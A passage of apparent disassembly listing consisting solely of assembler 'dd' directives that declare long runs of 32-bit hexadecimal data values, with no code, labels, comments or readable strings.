		dd 0B51F1DF0h, 0F94FBC7Eh, 0D5EA5056h, 29E3828Ah, 0F6098Bh
		dd 6E20BF24h, 4C69A9A0h, 89542413h, 5FEA4A49h, 6E9AF478h
		dd 9DE6FF20h, 8A031F5h,	0FF41166Fh, 7C4B076h, 63836109h
		dd 0CB086901h, 885D2708h, 0C418BDABh, 60874959h, 0D82D78CAh
		dd 0BBFC8F70h, 681093B2h, 0F37A5A42h, 0E64E1C38h, 0AE5F2FD8h
		dd 72F9AB57h, 479727D6h, 0B9518EE0h, 0A19E500h,	0E9CF0940h
		dd 0E4BF5535h, 0F202C860h, 0B8C74B7Bh, 7283B5FFh, 0EED50106h
		dd 315248F7h, 0AEF33046h, 28B34E17h, 0CE0BFDBCh, 0A0553FA5h
		dd 0FB55253Dh, 0E9529548h, 93150825h, 0F0B2C292h, 77585841h
		dd 0D85A3F04h, 659FC21Eh, 0D4EE2D04h, 2412CA6Dh, 0D0A817FBh
		dd 6077E001h, 3EDC11Fh,	4E352931h, 0EED1928Ch, 0C18FCA6h
		dd 0FAC06C39h, 5EA878A6h, 0E3AE4101h, 31B55475h, 83A3C401h
		dd 84A32799h, 81C8E294h, 39B52F0Fh, 687D9822h, 25181B2Eh
		dd 0EA5AF6E9h, 5C03C066h, 3059EE88h, 681EDF0h, 366A3CA9h
		dd 20703CF1h, 5FF82117h, 422B18E4h, 0E928058Ch,	7D88BD1Ah
		dd 2537038Dh, 0D1895169h, 0CF60CF92h, 11A07B43h, 0FA01751Dh
		dd 0F33ABF2Fh, 7A8906EAh, 8E110280h, 0A136B3Fh,	4814CFBFh
		dd 0F806C4ECh, 53CA30FFh, 6901C867h, 7E5AC181h,	0B3303425h
		dd 8E49384Ch, 25A731A7h, 0D2B1B250h, 0A73FCF65h, 4465552Ch
		dd 2DBBB50Ch, 8F7595EDh, 93A65B8h, 206BC9BEh, 8A94E040h
		dd 1051590Ch, 0CD5B4B66h, 0AFDBD14Bh, 9A0109B2h, 99F228D0h
		dd 59D0FC25h, 0BE252470h, 0D52D1609h, 2260343h,	415D9A39h
		dd 0AC214E2Eh, 16D218CCh, 8D9F71Ch, 0D01CA7Bh, 71BE3970h
		dd 0B308A6E8h, 68EB3170h, 824F790Eh, 0E08D7861h, 1265EEA0h
		dd 1625B19h, 325EF8A5h,	57F12E11h, 9C31B21h, 0C90B5851h
		dd 6C191102h, 2FF16801h, 0E985B979h, 5E2AECDBh,	0CC6BEC3Dh
		dd 0C90F68D8h, 7E1C4FDEh, 7DBE5725h, 2CAE574Ah,	31355C3Eh
		dd 310845F0h, 81590415h, 328BAFEAh, 0E92DEED7h,	0C247A86Ah
		dd 77FEF5FDh, 4195F246h, 747A8773h, 1851279h, 0FD134BD1h
		dd 0CE803A60h, 3A432305h, 6B8045ECh, 2D6F5E20h,	0D427090Ah
		dd 0DF208B33h, 56EE04E4h, 5977E94Ch, 307E7DE8h,	579EFDB1h
		dd 1D47F843h, 0F781F87Dh, 977316CEh, 0E4DDF132h, 7902E8F2h
		dd 0C0E9469Bh, 861D32Bh, 183F4B23h, 0BD1C73F7h,	0B7711277h
		dd 0FE12BE29h, 65125DE2h, 2077AA21h, 1122E34h, 50D4ED6Eh
		dd 481A28F8h, 6E3916ACh, 81E50EFh, 6E290C6Dh, 0B25EC2CEh
		dd 8429DAD1h, 0D552E544h, 4169FC96h, 0FCDF2592h, 621302BFh
		dd 0DBF10988h, 5CF6A6D9h, 19B44046h, 2BF375Fh, 0FD495A08h
		dd 77256D79h, 80B7CE3h,	0F66E8168h, 65976E01h, 2A330987h
		dd 0D7E63AFDh, 805089D9h, 0D038942Eh, 0E44BC2E9h, 9FB9ED17h
		dd 0BB72139Eh, 0E8D31E31h, 7927D17Fh, 4A7AD260h, 4B27067Fh
		dd 5A8123D8h, 4B537CBDh, 873010EDh, 4185F402h, 74F409A4h
		dd 3D2F758h, 0E4685253h, 9C2FC546h, 0ECD6D2E6h,	0D4B95B5Bh
		dd 0BFBCAE0Ah, 41C02926h, 7BA5C5E9h, 7C8D874Bh,	1B040107h
		dd 0D12CD028h, 0FA8CF15Ah, 3B8CDEF9h, 5F39F77h,	25DD7B0Eh
		dd 0DF02AA43h, 0E14D0474h, 236ED9F7h, 0CFE8569Eh, 0E5E7DCECh
		dd 6DE92EF0h, 2641687h,	0C5574B78h, 41FB80FFh, 61E94913h
		dd 0D2E5DC4Ah, 0C7E8B7DCh, 0D1EEB964h, 33014B31h, 0E1BC93DDh
		dd 8DD620Ch, 593820A6h,	1FADF11h, 0CE68CF97h, 0C4CC2E33h
		dd 0FC0B2660h, 0C0C300F1h, 1CD154Dh, 681CF9BDh,	802F20D2h
		dd 2C47BDB3h, 1E4D67EDh, 47BAACC1h, 33E1122Bh, 0A52FF841h
		dd 92925C0Dh, 4912AF07h, 5EE2CFBAh, 0E301E546h,	78D99853h
		dd 564695A0h, 9C576920h, 4EFF2543h, 9CDF97ADh, 0EC3ADFD9h
		dd 73506B81h, 2DE66813h, 0BF9287A2h, 4BCFEB38h,	0F727B847h
		dd 5B065499h, 54561316h, 0DCFC6213h, 0AA5A52D6h, 0B5A5AE44h
		dd 45136802h, 21D9957h,	6A2C24Ch, 0E972F910h, 73B717E8h
		dd 7454CB1Ah, 9C295A71h, 67EA5B10h, 0D883C288h,	20BEBD0Fh
		dd 0ED56C8BEh, 0EE5E6298h, 81EC12BBh, 2B1D07D0h, 0CF44BFE6h
		dd 0AD3EF1D1h, 75E9B0BFh, 0F125C1B4h, 6A394287h, 16442BE0h
		dd 0AFA59FACh, 554117C1h, 92685300h, 7C080E04h,	3251C8Bh
		dd 0B442D1CEh, 5BDED012h, 2BE029FAh, 0F21DC58Ah, 2161495Dh
		dd 6A9965F7h, 0F71E0E22h, 0F8759E29h, 12AB96D1h, 43B8731h
		dd 0B9E7FA0Fh, 0E5955E7Ch, 5B7228CDh, 0FAD25CFCh, 83BBC9E1h
		dd 0EEB19093h, 0F5089F89h, 3C872559h, 0B7059C5Fh, 0CD2013DAh
		dd 0D396B7F9h, 33CBA20h, 0C92FBBBDh, 26D95001h,	2D84294Ah
		dd 5F3F097Ch, 0E9E1E779h, 0F83A1EB8h, 0D86CC0CBh, 12425A41h
		dd 0DDAF74Ah, 61C56B8Fh, 55FC4188h, 0FD3CF8BDh,	0F5816501h
		dd 205D5237h, 0A8A2C66Ah, 29979C13h, 0EBB7CD06h, 0C054EA3Eh
		dd 0C87C3C77h, 53005520h, 32335245h, 0E36C642Eh, 734441C0h
		dd 49502956h, 544E8F0Dh, 0A354CCEh, 0E9E80143h,	0A120930h
		dd 3D27AF68h, 0C81D07FDh, 0CE96458h, 0BE15288Bh, 892BF284h
		dd 44B208B4h, 2284AA2Dh, 0A0422E87h, 2130C711h,	31BB0896h
		dd 82188C91h, 0BA184852h, 700190ECh, 4B33DF59h,	6AC97C86h
		dd 9C2AE140h, 0FCDA007Ah, 1AB6BA48h, 0D9B018EAh, 0B1CD4500h
		dd 63E61C26h, 6A79005Dh, 0C3C260FEh, 5900F5A1h,	0A42DC77Dh
		dd 1221F3h, 1FE55F6Eh, 3C440186h, 67700C00h, 2D8AADDh
		dd 1FE3E4E6h, 80CA5E23h, 6B89BB14h, 0DEE4F1E2h,	0F16C20Ch
		dd 681E24h, 308C2C5Bh, 0E28D7A0h, 0D8386600h, 0BA8749AFh
		dd 4D20F57h, 1DE05168h,	17370394h, 8183BD00h, 0F9951BA8h
		dd 8ED600CDh, 0E0EDC263h
		dd 900A262h, 126F18A9h,	85522Eh, 56F8DF80h, 844FAD6Dh
		dd 2B5D131Fh, 829C3D00h, 734A0B8h, 0E8894B2Dh, 9F33B186h
		dd 0BD06C865h, 0BAABF300h, 0D397E796h, 0A5BC3D28h, 0B5FE2AE0h
		dd 0C739791Eh, 41B18E3h, 545D19h, 0F89FA12Ch, 83CF8680h
		dd 0B793F000h, 0C0448E1Bh, 0B6842C13h, 0C0C41E87h, 893A9236h
		dd 64E64327h, 56618000h, 0E9BAE08Fh, 63B4C0DAh,	5136F007h
		dd 479F3900h, 0A793718Bh, 2D24633Bh, 2AEF347Dh,	0D0D580A6h
		dd 2081B20Ch, 71017701h, 0ACE88A41h, 64A758h, 0D895CA3Dh
		dd 0FAB60D96h, 74CFAA3Fh, 0C31C3900h, 0A6F113BDh, 1F1BFC9Ah
		dd 471519E9h, 0F08C68A2h, 0A8AE4F11h, 0D2C5AC1Ch, 0E718B381h
		dd 0F9F9F51Eh, 716F6D8h, 870CB851h, 0D3DEB0F2h,	7A01B7FDh
		dd 5B78D8B0h, 80C30F9Fh, 7193AD23h, 0A953007Fh,	8C861559h
		dd 0A3EC7A76h, 478F6F00h, 577F45BDh, 33D102FDh,	0B359FDFh
		dd 24DED560h, 0C712EE00h, 0BE02C53Dh, 90FDFA1Ah, 7E64785Fh
		dd 0B3EAF2h, 0DD2CAE0Dh, 8C47395Eh, 30FB733Dh, 438DDE98h
		dd 726AE4C1h, 7E460059h, 329D775Eh, 9116C410h, 490F8F30h
		dd 0D1001CA0h, 3E587A57h, 0A7310059h, 477D874Fh, 0BB1C5CD6h
		dd 0D300A6F4h, 7F50E5EDh, 0EE1400BDh, 39873D16h, 0FAFC9DB5h
		dd 813F4816h, 5AAE7A01h, 0AAD0F6D2h, 0FEDD003Dh, 0BB05CE31h
		dd 0E00089Fh, 77D3B789h, 362A25Ch, 15C2BEC9h, 0C5F2369Ch
		dd 0ED736CE1h, 95F5FC2Bh, 18B59900h, 725B9DEAh,	0B3501F7Dh
		dd 56D404B7h, 0E11280B8h, 77024CF6h, 72715539h,	0CB958798h
		dd 47F391B0h, 95AF0023h, 0CFB1D66Fh, 0A71EFA04h, 0C6C15A97h
		dd 0C3F9E63Eh, 47D4003Bh, 5BA36F89h, 35CD7712h,	569A0E44h
		dd 333B17C0h, 9969009Bh, 0DC98BABh, 0E31E0BF7h,	0C34757E9h
		dd 0E620F80Ah, 6A959EBh, 2F36A21Eh, 88008EFCh, 7D22EEEh
		dd 11913AAh, 3F8152DBh,	823DB21Bh, 785C649Eh, 0C2246969h
		dd 1CDE5420h, 80EC7242h, 0D76A987h, 53007E7Ah, 97B9169Eh
		dd 0B8371Ch, 556C7385h,	0FCC5CA5Dh, 18E9C73Ah, 5B150221h
		dd 147D0347h, 46938C62h, 26D8F3B0h, 0EA92CAA0h,	0C82CBBA0h
		dd 309E9931h, 3220E1F2h, 25AFCE6h, 3C9F269Ah, 2443FA0Fh
		dd 7D6956D0h, 0AA176630h, 50E2F2BFh, 598FCF3h, 0A5E1CBD3h
		dd 0D4BF07CDh, 0FA63F015h, 35000595h, 0DC482B6Dh, 16C294F4h
		dd 49C722D5h, 0C28E6243h, 553E26Fh, 40A4BB1Dh, 0E3B4FD85h
		dd 0B5003A95h, 440DE71Dh, 384D318Fh, 0A9868280h, 406834DEh
		dd 0B7E06406h, 3D1E41h,	440E357Dh, 0E90AD52Fh, 77629E13h
		dd 0B397F00h, 0C0B0C6DDh, 41921FF2h, 0CC00DB7Fh, 0E9C54552h
		dd 0FC9A01D9h, 0DE4C04F4h, 8007D1B9h, 0EFF6E2C6h, 4838D360h
		dd 3291357Bh, 0EB10D492h, 0AB0F3240h, 0BC60E3E4h, 0FB8C1527h
		dd 47290075h, 640CD258h, 1C13C855h, 0F40F6105h,	407E0F5Eh
		dd 3CC60F6Bh, 0A8EF03B8h, 7F58F498h, 952B92C8h,	22B0C200h
		dd 3D9AE6B1h, 1E75B4h, 93B7D3DDh, 62EB093Bh, 1A8F9600h
		dd 0DBE8C264h, 5E7AACh,	0F1DED3FEh, 0E9178053h,	0C803EC00h
		dd 47238D36h, 27701F8Ah, 0A040975Dh, 0A6A07CB5h, 237FE163h
		dd 0D0FBFD00h, 0A74DF7DBh, 0BB51F1Eh, 0AED9C16Fh, 0F6066A56h
		dd 669831C0h, 4FE92102h, 0A7948B37h, 1FA2ABC1h,	7AED44A3h
		dd 0A12A0174h, 5E664AF6h, 649BE0C8h, 0E7B01702h, 0C1EAEB11h
		dd 49249092h, 8090A2A7h, 0A40CB649h, 15216540h,	8CA8007Ah
		dd 0DB16172h, 113C500h,	3FC43414h, 39C5B292h, 0A789814Ch
		dd 4290579Dh, 7D240A34h, 1540220Dh, 194B6BEDh, 5CF178A7h
		dd 77D4C0D1h, 9956E200h, 68487B58h, 25C80604h, 2671A2C1h
		dd 1DA6FB00h, 0A0324ED7h, 0CF58009Ch, 91CCF8C8h, 0CA396096h
		dd 44528070h, 0D5FC6D09h, 1FACFEC2h, 5D84F469h,	0BA660041h
		dd 97BB099Ah, 30A32018h, 8650FAh, 0EEE7197Eh, 43FA6255h
		dd 0BDDCC007h, 71319EACh, 213281F8h, 5928C00h, 0C919A985h
		dd 0A412443Fh, 330564BBh, 57CC159Ah, 27AB32CFh,	86A049B5h
		dd 6145080Bh, 806E7518h, 1FAC790h, 698D7ECAh, 0F4323C89h
		dd 3B72886Ch, 34431903h, 0E192CEA9h, 43E2645h, 0A02AAA7Fh
		dd 0D8EAD223h, 7019805h, 6788F3FBh, 7E405CC4h, 272E212h
		dd 824E32D4h, 0B5C0EEEAh, 8E024925h, 5BB9E74h, 39689E1h
		dd 8C391B9Dh, 248A0FCCh, 16317B20h, 0C44B0334h,	3FB819B4h
		dd 0F202CE05h, 0D4C3418Eh, 80FE8028h, 4E56DC2h,	336C58EAh
		dd 0CE6EC1E2h, 6A8442B2h, 9B477368h, 0D7628424h, 0FFD4DD00h
		dd 0F8D905h, 1C953E42h,	0DB7490B0h, 470CE800h, 0D7FB3B9Eh
		dd 326167C8h, 0C643F121h, 6FCFD8DAh, 840ABA07h,	0FF928314h
		dd 6827C03Fh, 0C12CC07Bh, 0DBD1A7F0h, 0E0107C64h, 3A76AC80h
		dd 73721856h, 0F8CC1679h, 3236AB00h, 16AD8693h,	0B29C1371h
		dd 0A2A40038h, 72CBDAFEh, 2242CCBh, 0F07C77E5h,	2989818h
		dd 450EE61Ch, 16E04252h, 4A74214Fh, 0DBAC0B17h,	10BD0304h
		dd 7BDFAB80h, 0E8AF0E51h, 0B843801Ch, 58266EA9h, 0A40E3502h
		dd 0CFD6A316h, 16796Dh,	495A58ECh, 0B91A367Ah, 0DF065D94h
		dd 3004BDE1h, 63430A19h, 7B68AA4Eh, 9802AB0Fh, 408CFAE0h
		dd 0CFDFF1h, 2E201C4Bh,	87336430h, 0DA763A00h, 0B75344F8h
		dd 0D6F751C1h, 0FB2A0484h, 54BB802Eh, 0D079017Fh, 35935D0Ch
		dd 23A5E57h, 6C88BC16h,	7450B4E3h, 342B9701h, 8DBA6908h
		dd 45A95486h, 3800131Bh, 0B7A3619Bh, 321E31Dh, 0AA9A518Ch
		dd 2300273Eh, 66A03380h, 183CFCDFh, 1B6D7460h, 0B87A4884h
		dd 6F4F7306h, 195C83h, 0B0D7ECB5h, 609D8CDDh, 7CE00A00h
		dd 4BCEB150h, 0A80101E7h, 96692EA5h, 288E3CE2h,	8205D1D6h
		dd 7C867DCCh, 0ACD4F600h, 0F29C09Ch, 0BB4191EFh, 0C424B6E0h
		dd 0FC60F808h, 0AD3C2098h, 14F673h, 1F832878h, 0C37E2AAh
		dd 5BF57B13h, 0C8D8A540h, 38923A2h, 90F7868Fh, 483CEB2h
		dd 149C2780h, 64043873h, 0EA1AB4A0h, 6D53ECC0h,	0E2ABEC65h
		dd 5CFA0030h, 2A388368h, 810E3B57h, 0C0286216h,	0D9B59C3Dh
		dd 1CF604EDh, 0C84FE889h, 0C27C0BA8h, 0A65EE401h, 753EB60Dh
		dd 9AD04761h, 2E1D6F8Bh, 0FA9920F3h, 0F01E832Eh, 5409B809h
		dd 8701487Bh, 5CF00ABh,	0E4768CFBh, 7512D9D7h, 5F12A65Ch
		dd 8326200h, 13064ECh, 0B601EF7Fh, 0F4593E95h, 880BA50Fh
		dd 42448E8h, 18C05CA8h,	0E9785AF6h, 551CC8FEh, 0C6563FFCh
		dd 0A10964C8h, 0A109B936h, 8E484A12h, 0D800949Dh, 4D0AFBC7h
		dd 390D0897h, 5501774Ch, 0B07B4575h, 9C493060h,	207B87B5h
		dd 767A8891h, 165A5A80h, 79758D87h, 70A25800h, 54BE4690h
		dd 0F4601382h, 3C9C40DAh, 0E5F20E04h, 0CBB35F1Ch, 4514FE00h
		dd 4C544B77h, 0AD0B8AF7h, 7990C3D7h, 0FC018B24h, 0F9D43406h
		dd 61D67C47h, 0C2647577h, 0FCEAFCCEh, 190B006Dh, 3CA808BBh
		dd 9D90E125h, 62357E09h, 26419356h, 0F7DE17h, 8581130Eh
		dd 4C0C743Dh, 1EA479A8h, 610148D2h, 5AC98C0Eh, 0A22D51E0h
		dd 0B80C64A0h, 0A67E150Ch, 65726Eh, 99351929h, 13C0896Bh
		dd 4D1AD17h, 0CB40C42h,	6426E870h, 94401A5Ch, 0C0003F8Dh
		dd 301CEAAh, 37A1BD00h,	0C70BE70Dh, 0EA86003Dh,	159E56EEh
		dd 1E03FA82h, 3775D496h, 0FC8CBD57h, 0DDA3009Dh, 1AB351F3h
		dd 0CE00F8A9h, 7C6AF82h, 97C7D0ADh, 854BC4E0h, 67877B00h
		dd 3D41D16Bh, 0E45B0AEh
		dd 37CB7162h, 0AD659F20h, 5530FF27h, 639D1579h,	6CF28AFh
		dd 0BCEA4FBFh, 0A61A032Dh, 1EF62342h, 40DA7CC6h, 93FE07D2h
		dd 0A02C2679h, 0EB9EC670h, 0A980D8CAh, 0F709311Fh, 0E949038Dh
		dd 111706BAh, 0C7FBEE5h, 288A1703h, 6F455C88h, 0C2E3FE1Fh
		dd 3B90F014h, 0A1732C4Ch, 1B9A1EB8h, 18B69A00h,	583F08ECh
		dd 5D000ACh, 0F3112BA8h, 8B05695Ah, 1CD8626Fh, 0F200BD13h
		dd 2D9ECBFh, 8B42E55h, 7A6FB0B8h, 56B0C7D6h, 95541100h
		dd 0F309C9A5h, 0DECC19A4h, 60E32481h, 45006BB4h, 1A96AC29h
		dd 0CB7EB7AEh, 0CB01101Ch, 6023DFB1h, 7AE93463h, 3854DC03h
		dd 47AD38Ch, 0B2E5EE28h, 0ED8BC0E2h, 201E823h, 0DC08A8FFh
		dd 248F65C5h, 0F660951Eh, 0B3B216DBh, 0C166661h, 0E4F8B9B7h
		dd 291500EFh, 82ED3999h, 173A1BF0h, 465181BCh, 0B4227644h
		dd 9C7DDA60h, 1FA8001Eh, 88E4C878h, 0D0B77100h,	5832B228h
		dd 989948D2h, 0B5B61801h, 20E5CBFDh, 0E25EDE30h, 0B2D1DEE1h
		dd 8F4F74h, 8007BC46h, 0EC90F4C5h, 1F61E300h, 0BFF88B2h
		dd 842C002Dh, 668B4428h, 0D0926382h, 0DCE7BC00h, 81063E94h
		dd 395537F7h, 0AEE107Ah, 64030DDBh, 0F89F34C2h,	0E3B304Ah
		dd 0F0D4BC14h, 0CC23F16Fh, 4C780479h, 0D530AA94h, 0F2A52E19h
		dd 817D7E00h, 4A86A7Bh,	9AC10EE0h, 89201A4Ch, 0DA2E0CFEh
		dd 6ECC359h, 9B776E5Ah,	3D02C20h, 0C311B4EBh, 13F849EBh
		dd 60009A37h, 0F47C0BA4h, 946AD12h, 963B1F22h, 0EAD82620h
		dd 0B97A4B86h, 5F61721Fh, 8942979Fh, 41E11252h,	0FDF03DC1h
		dd 20E04BD1h, 1AA0E231h, 0F410BE1Ch, 248C3780h,	6728A48h
		dd 3FAF1325h, 783A8CC5h, 3C4B80D4h, 50F4E27Eh, 161B48B4h
		dd 876A6401h, 4152B24Ch, 807B3D8Bh, 9272AC9Ah, 16DC6866h
		dd 414C89E7h, 0FBD6224Dh, 4E93F836h, 0EC0A5803h, 590120C4h
		dd 1E72790Fh, 0C06F5767h, 9DB3E34h, 0BC0938F2h,	77B7E0F3h
		dd 23DDE300h, 49498474h, 40C0739Fh, 79A297Ah, 894A480Fh
		dd 916EC604h, 2D3E887h,	0C73BC50Bh, 1CE40A7h, 34EE05FDh
		dd 0A031A2DEh, 2500DF0Ah, 153F67EDh, 0E2778BB9h, 2826B45Dh
		dd 0B2AE43Bh, 0DA7D95AFh, 30F35761h, 1A0E3C40h,	22FEDC5Ah
		dd 43BEC97Fh, 0B98094FEh, 7159ECEAh, 0C58F07C6h, 20AA19FEh
		dd 0D0CFF397h, 4BAA8B48h, 0D18CC50Eh, 0D2C50E07h, 2CA6D3E6h
		dd 0CCF70DB0h, 874C2800h, 0B741467Dh, 0BB2587Bh, 0BB645C4Ah
		dd 2C87C9Eh, 5B6730A3h,	9D2C4078h, 44BD6B13h, 734E24h
		dd 7A83EBEh, 6D008E5Ch,	8D26DE64h, 0E2F5136h, 0CD4C9DA6h
		dd 74E62460h, 3D0C615Fh, 46308A99h, 0F2CE06E3h,	102FDF06h
		dd 1C6B3809h, 0CA7136Eh, 9FC63217h, 0AB2DF833h,	133E8D07h
		dd 67C3E68h, 0B622CF08h, 6CF119AFh, 4F35836h, 0F4DD811Dh
		dd 9C378780h, 39C3090Fh, 6C02F2BBh, 34C0BDC2h, 0C410B113h
		dd 170E0593h, 6BE97FB9h, 78B27968h, 6D668A00h, 8B432BD7h
		dd 0BB890079h, 0E71DB99Bh, 0EAB0D31Bh, 0E86160F3h, 495420E5h
		dd 0B2150EFEh, 0F41F46h, 121EDE78h, 1CE026AEh, 420E236Ah
		dd 1879E4Ah, 0C0DD3363h, 9CFCBE7Eh, 0C1123200h,	0CF715BFFh
		dd 98A6A335h, 17A475h, 38088F44h, 7504C54h, 0F1933F0Eh
		dd 3C780287h, 0EDED80FCh, 64FE25D1h, 80577CAFh,	0B5217DB0h
		dd 14B0AE30h, 109BA07h,	0FF3717A7h, 61874F7Ch, 0EAB6A6E8h
		dd 1F19B004h, 3877EDF2h, 7482D8EBh, 844DA759h, 0B9810E40h
		dd 0DD9C617Ah, 3690EA67h, 5D4A268Ah, 0D331CE88h, 20FAC774h
		dd 35603A71h, 0B0147813h, 0C80FC2B1h, 0B760F60Eh, 1200A2A0h
		dd 0B0C66A6Bh, 30339F21h, 8526D12Ch, 0E971873Ch, 84805300h
		dd 0FB37E58h, 6921CB10h, 94AE7110h, 0B0D77012h,	0CD096100h
		dd 3F8EAB38h, 30A416B2h, 0F326CFh, 2DBB458Fh, 61271936h
		dd 403B80C2h, 0DE2473h,	0B6F515Eh, 9AC63EC0h, 0CF043800h
		dd 3530B405h, 0B60E9E6h, 19DB72BFh, 44090C13h, 36CCD065h
		dd 76FA8D0Ch, 7ABE1777h, 890E00A2h, 0F8C8E8B9h,	0D000FC49h
		dd 86110B3Bh, 3E22FEh, 0D8286F95h, 9DC430FDh, 0F6D8B660h
		dd 7C09C3ADh, 167F90F7h, 0C6953D21h, 0F1E2234Ah, 47B5E204h
		dd 59C30F6Bh, 0E80DAB4Ch, 0DC8040h, 7D7753F2h, 47416954h
		dd 0DDA20BB0h, 5000D072h, 30F751BBh, 1B8C8CFh, 6A47901Dh
		dd 0C8FED56Fh, 4C70E3EBh, 0A68D0901h, 3EDAA2F5h, 0F48EC020h
		dd 10F8003Ch, 63DDECF9h, 0BB0008A1h, 93B11D39h,	76ED71h
		dd 9FC1D673h, 99C6980Fh, 0BE063C00h, 84EC4BDAh,	0D1B60A4Eh
		dd 809ED514h, 7D897837h, 92137E02h, 0A1015641h,	586B9142h
		dd 715E91C6h, 5C4C88D0h, 757514B4h, 4220004Dh, 9594A13Fh
		dd 0DE00823Eh, 0BC484FF5h, 91527CE0h, 0F740692Ah, 0EE3E922Eh
		dd 0CD3700E4h, 0D91B21B1h, 30D200FDh, 3E6FFD4h,	2B0F5546h
		dd 0E0843F8Fh, 3D2CB579h, 35B430ABh, 0D3C40D50h, 6FCF0A16h
		dd 1195C86h, 0AE8FF1E3h, 0C459FD27h, 41003F48h,	84BE1996h
		dd 1CA780h, 0AA264AE6h,	0C6D15A9Ah, 1690BA7Ah, 0E130E470h
		dd 693A4880h, 0BF66031Eh, 0BA409177h, 9A808BCFh, 0E306DF74h
		dd 8F1731FCh, 120E2EBh,	3A0AE1h, 2917D26Ah, 0F02C9892h
		dd 621E2A00h, 9D36CE76h, 0C00E03EAh, 0EB9EC531h, 3AF76A2Ch
		dd 0E91BB380h, 307E420Bh, 0A41F4B5Ah, 0A00880Fh, 0D09C9E26h
		dd 0B2138FEFh, 0BA4A0BB0h, 0A60B5AF6h, 6E8A7120h, 2112E361h
		dd 6F809B35h, 9C4C8663h, 22AA30D6h, 38F148A3h, 3B8800FAh
		dd 705D019Dh, 993200D2h, 0BF45FFD7h, 0C401A1E6h, 9E391525h
		dd 0EC71A064h, 75B56C4h, 0AB557F4Ch, 12809949h,	938D1C40h
		dd 0AA860403h, 7CC3E206h, 12599C1h, 14993444h, 2DA5D1B9h
		dd 5CE07286h, 0E3CD7706h, 37E0FFh, 651F6839h, 0D45334F1h
		dd 30C77A03h, 9CE2FEF6h, 0F0F56480h, 7C5C00F9h,	2007D0E0h
		dd 3250D3DEh, 707A6B83h, 0BEAD20E1h, 14E00200h,	0A95A7583h
		dd 0B6F3018Dh, 0F9CA12A8h, 0BA6909h, 5443FD0Ch,	97A924h
		dd 52517519h, 0AB09EDB6h, 1371160Fh, 2846A027h,	0FA5B818Bh
		dd 705E099Ah, 64C3ECD4h, 401A6DF1h, 47AD67F6h, 9CA62B00h
		dd 7C5FE658h, 881B00CFh, 0C926B151h, 1200F208h,	0B8788A39h
		dd 121CD3E8h, 0A533487Ah, 0F0EFE4BCh, 49823660h, 4897AD25h
		dd 7260905Dh, 542E95E4h, 9CB3BD00h, 25AF5061h, 523B0312h
		dd 7FDBB745h, 814AAAF8h, 66F41600h, 0E8FF5B65h,	0FDD60F2Eh
		dd 0DCC1AE8Ah, 2D11E769h, 0F34501BAh, 0D3BF1301h, 2D0AC8ECh
		dd 2809F039h, 0F2C25310h, 0D0A83503h, 0E995D112h, 40DEB70Ch
		dd 34365Ch, 8A89574Fh, 72483A4Dh, 0F4BE6A60h, 56E9B8h
		dd 6E86BE1Ah, 2D2EEE5h,	27262AE0h, 0D80161ADh, 632108ECh
		dd 0A7996B80h, 0D6506703h, 0C547B100h, 0C209F09Dh, 0EBFA02DEh
		dd 44F9F651h, 201AE661h, 8D0967AFh, 5016BCC4h, 2A8600CFh
		dd 777DB746h, 1B00E9AEh, 0BD17943Fh, 9E9CA430h,	618C00FFh
		dd 53FBD068h, 24AFD100h, 4651DA1Ah, 29A42DCCh, 0E5CB3A00h
		dd 0B8207289h, 74584C3Ch, 0B7EDF41Fh, 8BD88088h, 0BA00DE9Fh
		dd 9D23B012h, 0C0422A39h, 692E831Eh, 8604F88Fh,	953F212Bh
		dd 606D8280h, 0A0220FE2h, 5103C625h, 0FA83D1ADh, 0ABBA1E88h
		dd 0D2C0FE0Ch, 495C9804h, 0EE00D372h, 0E8C47477h, 0FD6BE5FCh
		dd 58E3BB24h, 0ED00D53Bh, 0FFEE303Dh, 220FB147h, 0A010C29Eh
		dd 6B4FEF9Bh, 2F583787h
		dd 6020F02Eh, 0BD0ECA72h, 0E0EF10BBh, 9B98F518h, 0D98B5C38h
		dd 0C9750F80h, 0E20301E5h, 0F9D2C116h, 0B29DFBDFh, 617014h
		dd 2EA40DC6h, 7E55DE16h, 71A0425Eh, 0BDA10165h,	0DC03F52Fh
		dd 357885E2h, 66C11B6Ch, 30F8935Ch, 8918CCE3h, 8D0E6976h
		dd 6040C47Eh, 7054E407h, 0E423D471h, 720E3972h,	8E572261h
		dd 23A724Bh, 0D9277039h, 0BA6BFEh, 1DABF735h, 747E4A85h
		dd 48CCE095h, 0ED99F624h, 1345C120h, 0D0C90569h, 39688C2Ah
		dd 803E9B69h, 6E65DF5Fh, 5AC65C12h, 1ED6ED0Bh, 84F28104h
		dd 0B9D7BEC0h, 5F4E5600h, 98CAF69Bh, 2CD900D2h,	1014C61Ah
		dd 120EBDC3h, 8075A7F0h, 0B3E4606Eh, 8D664826h,	9EDE0150h
		dd 0EC700DDh, 0E8E410F4h, 0C09C5812h, 0ECEA7146h, 1E135811h
		dd 5ED8EF00h, 0E418BAA6h, 7172202Dh, 685CD0B4h,	0A0ADA64Ah
		dd 0AA4B0C3Fh, 0B980968Eh, 238A104Ch, 4BE98103h, 77EFB28h
		dd 0D145B10Ch, 60C9C079h, 6448C655h, 7420103h, 0E6C15EF5h
		dd 0AAEEF8D7h, 14011776h, 0E88E846h, 280A6CAh, 755EF129h
		dd 5056FD30h, 0F8C8892Dh, 8CCA042h, 4CF1975Eh, 7D0C8B62h
		dd 0E9703DD1h, 0FD4600CDh, 0DBAA92FFh, 733CB8A8h, 3078B37h
		dd 335100C5h, 9D563D22h, 0EB60D340h, 1E117702h,	0FF0D2A30h
		dd 3312DCC0h, 3FE8BC00h, 8789563h, 37EF1D18h, 0A3058042h
		dd 0C1E92080h, 7F1E4800h, 0E2046E2Bh, 31576B4h,	0F4DFF60h
		dd 9F000AE8h, 81659836h, 4B3F77h, 8A3C24A4h, 0B5B45BCFh
		dd 0FE30C3F8h, 68FC2A5Eh, 0C1760A3h, 0C78B665Ah, 0F383BE4h
		dd 0E87C518Fh, 2BF21769h, 0F700F977h, 35AE3BEFh, 0FAF55AB9h
		dd 8916C05Eh, 0BE627E2Fh, 3CEFE83Eh, 833BBE39h,	95726EEBh
		dd 10EE31Bh, 82B30555h,	60CBA0B1h, 1217BED9h, 0CD01E0D9h
		dd 59F6B70Fh, 3B6AA898h, 831FCE8Bh, 85C601EAh, 0F602FFABh
		dd 822600F3h, 5CFD2C41h, 0CA0FBEC4h, 14249AF1h,	0FCF87FC0h
		dd 0B5934018h, 0F0A32C08h, 0ED3D06C0h, 2133C603h, 3A181274h
		dd 0AC1136AAh, 500F0FEFh, 39B805A7h, 933006ECh,	137D49D9h
